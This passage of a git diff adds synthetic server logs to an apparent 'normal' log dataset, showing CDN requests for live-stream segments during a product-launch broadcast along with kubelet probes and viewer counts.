/live/stream/segment26.ts status=206 Partial Content +Aug 22 14:04:35 cdn-edge[5123]: GET /live/stream/segment26.ts status=206 Partial Content +Aug 22 14:04:35 cdn-edge[5123]: GET /live/stream/segment26.ts status=206 Partial Content +Aug 22 14:04:40 cdn-edge[5123]: GET /live/stream/segment27.ts status=206 Partial Content +Aug 22 14:04:40 cdn-edge[5123]: GET /live/stream/segment27.ts status=206 Partial Content +Aug 22 14:04:40 cdn-edge[5123]: GET /live/stream/segment27.ts status=206 Partial Content +Aug 22 14:04:40 cdn-edge[5123]: GET /live/stream/segment27.ts status=206 Partial Content +Aug 22 14:04:40 cdn-edge[5123]: GET /live/stream/segment27.ts status=206 Partial Content +Aug 22 14:04:40 cdn-edge[5123]: GET /live/stream/segment27.ts status=206 Partial Content +Aug 22 14:04:45 cdn-edge[5123]: GET /live/stream/segment28.ts status=206 Partial Content +Aug 22 14:04:45 cdn-edge[5123]: GET /live/stream/segment28.ts status=206 Partial Content +Aug 22 14:04:45 cdn-edge[5123]: GET /live/stream/segment28.ts status=206 Partial Content +Aug 22 14:04:45 cdn-edge[5123]: GET /live/stream/segment28.ts status=206 Partial Content +Aug 22 14:04:45 cdn-edge[5123]: GET /live/stream/segment28.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:50 cdn-edge[5123]: GET /live/stream/segment29.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:04:55 cdn-edge[5123]: GET /live/stream/segment30.ts status=206 Partial Content +Aug 22 14:05:00 cdn-edge[5123]: GET /live/stream/segment31.ts status=206 Partial Content +Aug 22 14:05:00 cdn-edge[5123]: GET /live/stream/segment31.ts status=206 Partial Content +Aug 22 14:05:00 cdn-edge[5123]: GET /live/stream/segment31.ts status=206 Partial Content +Aug 22 14:05:00 cdn-edge[5123]: GET /live/stream/segment31.ts status=206 Partial Content +Aug 22 14:05:00 cdn-edge[5123]: GET /live/stream/segment31.ts status=206 Partial Content +Aug 22 14:05:00 web-app[3341]: INFO: Current viewers: 57436. +Aug 22 14:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-live +Aug 22 14:05:05 cdn-edge[5123]: GET /live/stream/segment32.ts status=206 Partial Content +Aug 22 14:05:05 cdn-edge[5123]: GET /live/stream/segment32.ts status=206 Partial Content +Aug 22 14:05:05 cdn-edge[5123]: GET /live/stream/segment32.ts status=206 Partial Content +Aug 22 14:05:05 cdn-edge[5123]: GET /live/stream/segment32.ts status=206 Partial Content +Aug 22 14:05:05 cdn-edge[5123]: GET /live/stream/segment32.ts status=206 Partial Content +Aug 22 14:05:05 cdn-edge[5123]: GET /live/stream/segment32.ts status=206 Partial Content +Aug 22 14:05:10 cdn-edge[5123]: GET /live/stream/segment33.ts status=206 Partial Content +Aug 22 14:05:10 cdn-edge[5123]: GET /live/stream/segment33.ts status=206 Partial Content +Aug 22 14:05:10 cdn-edge[5123]: GET /live/stream/segment33.ts status=206 Partial Content +Aug 22 14:05:10 cdn-edge[5123]: GET /live/stream/segment33.ts status=206 Partial Content +Aug 22 14:05:10 cdn-edge[5123]: GET /live/stream/segment33.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:15 cdn-edge[5123]: GET /live/stream/segment34.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:20 cdn-edge[5123]: GET /live/stream/segment35.ts status=206 Partial Content +Aug 22 14:05:25 cdn-edge[5123]: GET /live/stream/segment36.ts status=206 Partial Content +Aug 22 14:05:25 cdn-edge[5123]: GET /live/stream/segment36.ts status=206 Partial Content +Aug 22 14:05:25 cdn-edge[5123]: GET /live/stream/segment36.ts status=206 Partial Content +Aug 22 14:05:25 cdn-edge[5123]: GET /live/stream/segment36.ts status=206 Partial Content +Aug 22 14:05:25 cdn-edge[5123]: GET /live/stream/segment36.ts status=206 Partial Content +Aug 22 14:05:30 cdn-edge[5123]: GET /live/stream/segment37.ts status=206 Partial Content +Aug 22 14:05:30 cdn-edge[5123]: GET /live/stream/segment37.ts status=206 Partial Content +Aug 22 14:05:30 cdn-edge[5123]: GET /live/stream/segment37.ts status=206 Partial Content +Aug 22 14:05:30 cdn-edge[5123]: GET /live/stream/segment37.ts status=206 Partial Content +Aug 22 14:05:35 cdn-edge[5123]: GET /live/stream/segment38.ts status=206 Partial Content +Aug 22 14:05:35 cdn-edge[5123]: GET /live/stream/segment38.ts status=206 Partial Content +Aug 22 14:05:35 cdn-edge[5123]: GET /live/stream/segment38.ts status=206 Partial Content +Aug 22 14:05:35 cdn-edge[5123]: GET /live/stream/segment38.ts status=206 Partial Content +Aug 22 14:05:35 cdn-edge[5123]: GET /live/stream/segment38.ts status=206 Partial Content +Aug 22 14:05:35 cdn-edge[5123]: GET /live/stream/segment38.ts status=206 Partial Content +Aug 22 14:05:40 cdn-edge[5123]: GET /live/stream/segment39.ts status=206 Partial Content +Aug 22 14:05:40 cdn-edge[5123]: GET /live/stream/segment39.ts status=206 Partial Content +Aug 22 14:05:40 cdn-edge[5123]: GET /live/stream/segment39.ts status=206 Partial Content +Aug 22 14:05:40 cdn-edge[5123]: GET /live/stream/segment39.ts status=206 Partial Content +Aug 22 14:05:45 cdn-edge[5123]: GET /live/stream/segment40.ts status=206 Partial Content +Aug 22 14:05:45 cdn-edge[5123]: GET /live/stream/segment40.ts status=206 Partial Content +Aug 22 14:05:45 cdn-edge[5123]: GET /live/stream/segment40.ts status=206 Partial Content +Aug 22 14:05:45 cdn-edge[5123]: GET /live/stream/segment40.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:50 cdn-edge[5123]: GET /live/stream/segment41.ts status=206 Partial Content +Aug 22 14:05:55 cdn-edge[5123]: GET /live/stream/segment42.ts status=206 Partial Content +Aug 22 14:05:55 cdn-edge[5123]: GET /live/stream/segment42.ts status=206 Partial Content +Aug 22 14:05:55 cdn-edge[5123]: GET /live/stream/segment42.ts status=206 Partial Content +Aug 22 14:05:55 cdn-edge[5123]: GET /live/stream/segment42.ts status=206 Partial Content +Aug 22 14:05:55 cdn-edge[5123]: GET /live/stream/segment42.ts status=206 Partial Content +Aug 22 14:05:55 cdn-edge[5123]: GET /live/stream/segment42.ts status=206 Partial Content +Aug 22 14:06:00 cdn-edge[5123]: GET /live/stream/segment43.ts status=206 Partial Content +Aug 22 14:06:00 cdn-edge[5123]: GET /live/stream/segment43.ts status=206 Partial Content +Aug 22 14:06:00 cdn-edge[5123]: GET /live/stream/segment43.ts status=206 Partial Content +Aug 22 14:06:00 cdn-edge[5123]: GET /live/stream/segment43.ts status=206 Partial Content +Aug 22 14:06:05 cdn-edge[5123]: GET /live/stream/segment44.ts status=206 Partial Content +Aug 22 14:06:05 cdn-edge[5123]: GET /live/stream/segment44.ts status=206 Partial Content +Aug 22 14:06:05 cdn-edge[5123]: GET /live/stream/segment44.ts status=206 Partial Content +Aug 22 14:06:05 cdn-edge[5123]: GET /live/stream/segment44.ts status=206 Partial Content +Aug 22 14:06:05 cdn-edge[5123]: GET /live/stream/segment44.ts status=206 Partial Content +Aug 22 14:06:10 cdn-edge[5123]: GET /live/stream/segment45.ts status=206 Partial Content +Aug 22 14:06:10 cdn-edge[5123]: GET /live/stream/segment45.ts status=206 Partial Content +Aug 22 14:06:10 cdn-edge[5123]: GET /live/stream/segment45.ts status=206 Partial Content +Aug 22 14:06:10 cdn-edge[5123]: GET /live/stream/segment45.ts status=206 Partial Content +Aug 22 14:06:10 cdn-edge[5123]: GET /live/stream/segment45.ts status=206 Partial Content +Aug 22 14:06:10 cdn-edge[5123]: GET /live/stream/segment45.ts status=206 Partial Content +Aug 22 14:06:15 cdn-edge[5123]: GET /live/stream/segment46.ts status=206 Partial Content +Aug 22 14:06:15 cdn-edge[5123]: GET /live/stream/segment46.ts status=206 Partial Content +Aug 22 14:06:15 cdn-edge[5123]: GET /live/stream/segment46.ts status=206 Partial Content +Aug 22 14:06:15 cdn-edge[5123]: GET /live/stream/segment46.ts status=206 Partial Content +Aug 22 14:06:15 cdn-edge[5123]: GET /live/stream/segment46.ts status=206 Partial Content +Aug 22 14:06:15 cdn-edge[5123]: GET /live/stream/segment46.ts status=206 Partial Content +Aug 22 14:06:15 web-app[3341]: INFO: Current viewers: 60509. +Aug 22 14:06:20 cdn-edge[5123]: GET /live/stream/segment47.ts status=206 Partial Content +Aug 22 14:06:20 cdn-edge[5123]: GET /live/stream/segment47.ts status=206 Partial Content +Aug 22 14:06:20 cdn-edge[5123]: GET /live/stream/segment47.ts status=206 Partial Content +Aug 22 14:06:20 cdn-edge[5123]: GET /live/stream/segment47.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:25 cdn-edge[5123]: GET /live/stream/segment48.ts status=206 Partial Content +Aug 22 14:06:30 cdn-edge[5123]: GET /live/stream/segment49.ts status=206 Partial Content +Aug 22 14:06:30 cdn-edge[5123]: GET /live/stream/segment49.ts status=206 Partial Content +Aug 22 14:06:30 cdn-edge[5123]: GET /live/stream/segment49.ts status=206 Partial Content +Aug 22 14:06:30 cdn-edge[5123]: GET /live/stream/segment49.ts status=206 Partial Content +Aug 22 14:06:30 cdn-edge[5123]: GET /live/stream/segment49.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:35 cdn-edge[5123]: GET /live/stream/segment50.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 cdn-edge[5123]: GET /live/stream/segment51.ts status=206 Partial Content +Aug 22 14:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-live +Aug 22 14:06:45 cdn-edge[5123]: GET /live/stream/segment52.ts status=206 Partial Content +Aug 22 14:06:45 cdn-edge[5123]: GET /live/stream/segment52.ts status=206 Partial Content +Aug 22 14:06:45 cdn-edge[5123]: GET /live/stream/segment52.ts status=206 Partial Content +Aug 22 14:06:45 cdn-edge[5123]: GET /live/stream/segment52.ts status=206 Partial Content +Aug 22 14:06:45 cdn-edge[5123]: GET /live/stream/segment52.ts status=206 Partial Content +Aug 22 14:06:50 cdn-edge[5123]: GET /live/stream/segment53.ts status=206 Partial Content +Aug 22 14:06:50 cdn-edge[5123]: GET /live/stream/segment53.ts status=206 Partial Content +Aug 22 14:06:50 cdn-edge[5123]: GET /live/stream/segment53.ts status=206 Partial Content +Aug 22 14:06:50 cdn-edge[5123]: GET /live/stream/segment53.ts status=206 Partial Content +Aug 22 14:06:50 cdn-edge[5123]: GET /live/stream/segment53.ts status=206 Partial Content +Aug 22 14:06:55 cdn-edge[5123]: GET /live/stream/segment54.ts status=206 Partial Content +Aug 22 14:06:55 cdn-edge[5123]: GET /live/stream/segment54.ts status=206 Partial Content +Aug 22 14:06:55 cdn-edge[5123]: GET /live/stream/segment54.ts status=206 Partial Content +Aug 22 14:06:55 cdn-edge[5123]: GET /live/stream/segment54.ts status=206 Partial Content +Aug 22 14:07:00 cdn-edge[5123]: GET /live/stream/segment55.ts status=206 Partial Content +Aug 22 14:07:00 cdn-edge[5123]: GET /live/stream/segment55.ts status=206 Partial Content +Aug 22 14:07:00 cdn-edge[5123]: GET /live/stream/segment55.ts status=206 Partial Content +Aug 22 14:07:00 cdn-edge[5123]: GET /live/stream/segment55.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:05 cdn-edge[5123]: GET /live/stream/segment56.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:10 cdn-edge[5123]: GET /live/stream/segment57.ts status=206 Partial Content +Aug 22 14:07:15 cdn-edge[5123]: GET /live/stream/segment58.ts status=206 Partial Content +Aug 22 14:07:15 cdn-edge[5123]: GET /live/stream/segment58.ts status=206 Partial Content +Aug 22 14:07:15 cdn-edge[5123]: GET /live/stream/segment58.ts status=206 Partial Content +Aug 22 14:07:15 cdn-edge[5123]: GET /live/stream/segment58.ts status=206 Partial Content +Aug 22 14:07:20 cdn-edge[5123]: GET /live/stream/segment59.ts status=206 Partial Content +Aug 22 14:07:20 cdn-edge[5123]: GET /live/stream/segment59.ts status=206 Partial Content +Aug 22 14:07:20 cdn-edge[5123]: GET /live/stream/segment59.ts status=206 Partial Content +Aug 22 14:07:20 cdn-edge[5123]: GET /live/stream/segment59.ts status=206 Partial Content +Aug 22 14:07:20 cdn-edge[5123]: GET /live/stream/segment59.ts status=206 Partial Content +Aug 22 14:07:20 cdn-edge[5123]: GET /live/stream/segment59.ts status=206 Partial Content +Aug 22 14:07:25 cdn-edge[5123]: GET /live/stream/segment60.ts status=206 Partial Content +Aug 22 14:07:25 cdn-edge[5123]: GET /live/stream/segment60.ts status=206 Partial Content +Aug 22 14:07:25 cdn-edge[5123]: GET /live/stream/segment60.ts status=206 Partial Content +Aug 22 14:07:25 cdn-edge[5123]: GET /live/stream/segment60.ts status=206 Partial Content +Aug 22 14:07:25 cdn-edge[5123]: GET /live/stream/segment60.ts status=206 Partial Content diff --git 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a/norm_dataset/scenario_7/norm_7_25.log b/norm_dataset/scenario_7/norm_7_25.log new file mode 100644 index 0000000000000000000000000000000000000000..3b3d65875a7855ce031fdcfafa88f09a8e1b5cdb --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_25.log @@ -0,0 +1,909 @@ +Aug 22 10:00:00 web-app[1041]: GET /api/v1/status status=200 OK +Aug 22 10:00:50 web-app[1858]: GET /api/v1/status status=200 OK +Aug 22 10:01:40 web-app[1562]: GET /api/v1/status status=200 OK +Aug 22 10:02:05 systemd[1]: Starting session-c2.scope. +Aug 22 10:02:30 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:30 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:30 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:30 stream-manager[8888]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:31 cdn-edge-router: 198.51.100.1 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:31 cdn-edge-router: 198.51.100.10 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:31 cdn-edge-router: 198.51.100.12 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:31 cdn-edge-router: 198.51.100.15 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:31 cdn-edge-router: 198.51.100.17 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:31 cdn-edge-router: 198.51.100.5 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:32 cdn-edge-router: 198.51.100.16 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:32 cdn-edge-router: 198.51.100.7 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:32 cdn-edge-router: 198.51.100.8 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:32 cdn-edge-router: 198.51.100.9 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:32 stream-manager[8888]: INFO: Current viewers: 50000. +Aug 22 10:02:33 cdn-edge-router: 198.51.100.17 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:34 cdn-edge-router: 198.51.100.1 - GET /live/product-launch-2025/stream.m3u8 HTTP/1.1 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:35 cdn-edge-router: 198.51.100.1 - GET /live/product-launch-2025/segment82.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:35 cdn-edge-router: 198.51.100.14 - GET /live/product-launch-2025/segment75.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:35 cdn-edge-router: 198.51.100.3 - GET /live/product-launch-2025/segment24.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:35 cdn-edge-router: 198.51.100.7 - GET /live/product-launch-2025/segment27.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:36 cdn-edge-router: 198.51.100.16 - GET /live/product-launch-2025/segment12.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:36 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/segment54.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:36 cdn-edge-router: 198.51.100.7 - GET /live/product-launch-2025/segment2.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:37 cdn-edge-router: 198.51.100.16 - GET /live/product-launch-2025/segment89.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:37 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/segment86.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:37 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/segment87.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:38 cdn-edge-router: 198.51.100.10 - GET /live/product-launch-2025/segment49.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:38 cdn-edge-router: 198.51.100.15 - GET /live/product-launch-2025/segment26.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:38 cdn-edge-router: 198.51.100.3 - GET /live/product-launch-2025/segment78.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:39 cdn-edge-router: 198.51.100.1 - GET /live/product-launch-2025/segment13.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:39 cdn-edge-router: 198.51.100.12 - GET /live/product-launch-2025/segment73.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:39 cdn-edge-router: 198.51.100.17 - GET /live/product-launch-2025/segment52.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:39 cdn-edge-router: 198.51.100.4 - GET /live/product-launch-2025/segment90.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:02:39 cdn-edge-router: 198.51.100.7 - GET /live/product-launch-2025/segment65.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:02:39 cdn-edge-router: 198.51.100.9 - GET /live/product-launch-2025/segment51.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:40 cdn-edge-router: 198.51.100.2 - GET /live/product-launch-2025/segment13.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:02:40 cdn-edge-router: 198.51.100.6 - GET /live/product-launch-2025/segment7.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:40 cdn-edge-router: 198.51.100.8 - GET /live/product-launch-2025/segment83.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:02:41 cdn-edge-router: 198.51.100.2 - GET /live/product-launch-2025/segment12.ts HTTP/1.1 206 "Mozilla/5.0 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CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:03:05 cdn-edge-router: 198.51.100.15 - GET /live/product-launch-2025/segment86.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:03:05 cdn-edge-router: 198.51.100.5 - GET /live/product-launch-2025/segment96.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 